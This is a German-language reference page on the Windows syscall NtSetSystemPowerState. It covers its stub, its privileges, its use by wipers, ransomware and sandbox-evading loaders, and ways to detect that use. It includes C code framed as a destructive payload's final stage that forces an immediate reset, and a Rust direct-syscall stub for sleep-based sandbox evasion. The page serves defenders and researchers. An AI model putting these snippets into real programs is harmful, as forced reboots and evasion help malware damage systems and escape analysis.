NtSetSystemPowerState

Prototyp

NTSTATUS NtSetSystemPowerState(
  POWER_ACTION         SystemAction,
  SYSTEM_POWER_STATE   MinSystemState,
  ULONG                Flags
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 BD 01 00 00      mov eax, 0x1BD
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Low-Level-Cousin von `NtInitiatePowerAction` — `NtSetSystemPowerState` umgeht die Policy-Manager-Arbitrierung und ist die Funktion, die der Kernel selbst aufruft, sobald der Power Manager seine Verhandlungen abgeschlossen hat. Der Win32-Wrapper `SetSystemPowerState` landet hier. Der Aufrufer muss `SeShutdownPrivilege` (interaktive Sitzungen) oder `SeRemoteShutdownPrivilege` (Cross-Machine-Varianten) halten. Die Funktion kehrt erst zurück, wenn das System entweder aus dem Zielzustand resumed hat oder den Übergang abgelehnt hat (z. B. ein Treiber Sleep vetoed). `POWER_ACTION_DISABLE_WAKES | POWER_ACTION_CRITICAL` ist die 'Halt's Maul und tu's'-Kombination, die die meisten App-Level-Sleep-Vetos umgeht.

Häufige Malware-Nutzung

Drei reale Muster. (1) **Wipers**: HermeticWiper, IsaacWiper und CaddyWiper wurden alle dabei beobachtet, am Ende ihres Zerstörungslaufs Reboot-Klasse-Power-Aktionen aufzurufen, um die Maschine zum Hochfahren mit korrupten Boot-Daten zu zwingen — der Nutzer sieht beim nächsten Start einen BSOD oder 'Inaccessible Boot Device'-Bildschirm. (2) **Ransomware-Post-Encryption-Reboot**: Royal, BlackCat/ALPHV und BlackSuit haben über diese Syscall-Familie nach dem Ablegen ihrer Note einen Reboot ausgelöst, sowohl um einen sauberen Zustand auf dem verschlüsselten Volume zu erzwingen als auch um sicherzustellen, dass geöffnete Dateien geschlossen werden. (3) **Sandbox-Evasion**: ein kleiner Satz Red-Team-Loader ruft PowerSystemSleeping3 oder DisplayOff in einer automatisierten Analyse-VM auf, in der Hoffnung, dass der Sandbox-Harness den Übergang als 'Execution Complete' interpretiert und abbaut, bevor die echte Payload läuft. Oft kombiniert mit `NtDelayExecution`, um die Uhren zu verzerren, mit denen der Harness Laufzeit berechnet.

Erkennungs­möglichkeiten

`SetSystemPowerState` und der zugrundeliegende Syscall werden vom ETW-Provider Microsoft-Windows-Kernel-Power getrackt — jeder Sleep/Hibernate/Shutdown-Übergang emittiert wohldefinierte Events inklusive des initiierenden Prozesses. Sysmon hat kein dediziertes Event, aber das System-Log meldet 1074 (sauber initiiertes Shutdown) und 6008 (unerwartetes Shutdown), beide nützlich zur retrospektiven Rekonstruktion. Die stärkste Einzelregel: ein Nicht-System-Prozess, der eine Shutdown-Klasse-POWER_ACTION aufruft und in der letzten Minute viele Dateien geschrieben hat, ist im Wesentlichen ein Wiper- oder Ransomware-Fingerabdruck. SeShutdownPrivilege sollte für die meisten Service-Accounts deaktiviert sein — auf die Privilege-Anpassung alarmieren, die dem Aufruf unmittelbar vorausgeht.

Direkte Syscall-Beispiele

; Direct syscall stub for NtSetSystemPowerState (SSN 0x1BD on Win11 24H2)
NtSetSystemPowerState PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 1BDh         ; SSN — varies per build
    syscall
    ret
NtSetSystemPowerState ENDP

// Final stage of a destructive payload: enable shutdown privilege then
// request an immediate Shutdown-Reset, bypassing user prompts.
#include <windows.h>
#include <winternl.h>

static VOID EnableShutdownPriv(VOID) {
    HANDLE hTok; LUID luid; TOKEN_PRIVILEGES tp = { 0 };
    OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hTok);
    LookupPrivilegeValueW(NULL, SE_SHUTDOWN_NAME, &luid);
    tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hTok, FALSE, &tp, sizeof(tp), NULL, NULL);
    CloseHandle(hTok);
}

typedef NTSTATUS (NTAPI *pNtSetSystemPowerState)(ULONG, ULONG, ULONG);

VOID WiperReboot(VOID) {
    EnableShutdownPriv();
    pNtSetSystemPowerState NtSetSystemPowerState = (pNtSetSystemPowerState)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtSetSystemPowerState");
    // PowerActionShutdownReset = 6, PowerSystemShutdown = 6,
    // DISABLE_WAKES | CRITICAL = 0x40000000 | 0x80000000
    NtSetSystemPowerState(6, 6, 0xC0000000);
}

// Cargo: windows-sys = "0.59"
use std::arch::asm;

#[unsafe(naked)]
unsafe extern "system" fn nt_set_system_power_state_stub(
    _action: u32, _min_state: u32, _flags: u32) -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1BD", // Win11 24H2 SSN
        "syscall",
        "ret",
        options(noreturn),
    );
}

fn try_sleep_evasion() {
    // PowerActionSleep = 2, PowerSystemSleeping3 = 5, UI_ALLOWED=4
    let _ = unsafe { nt_set_system_power_state_stub(2, 5, 4) };
}

MITRE ATT&CK-Mappings

• T1529System Shutdown/Rebootmitre ↗
• T1485Data Destructionmitre ↗
• T1106Native APImitre ↗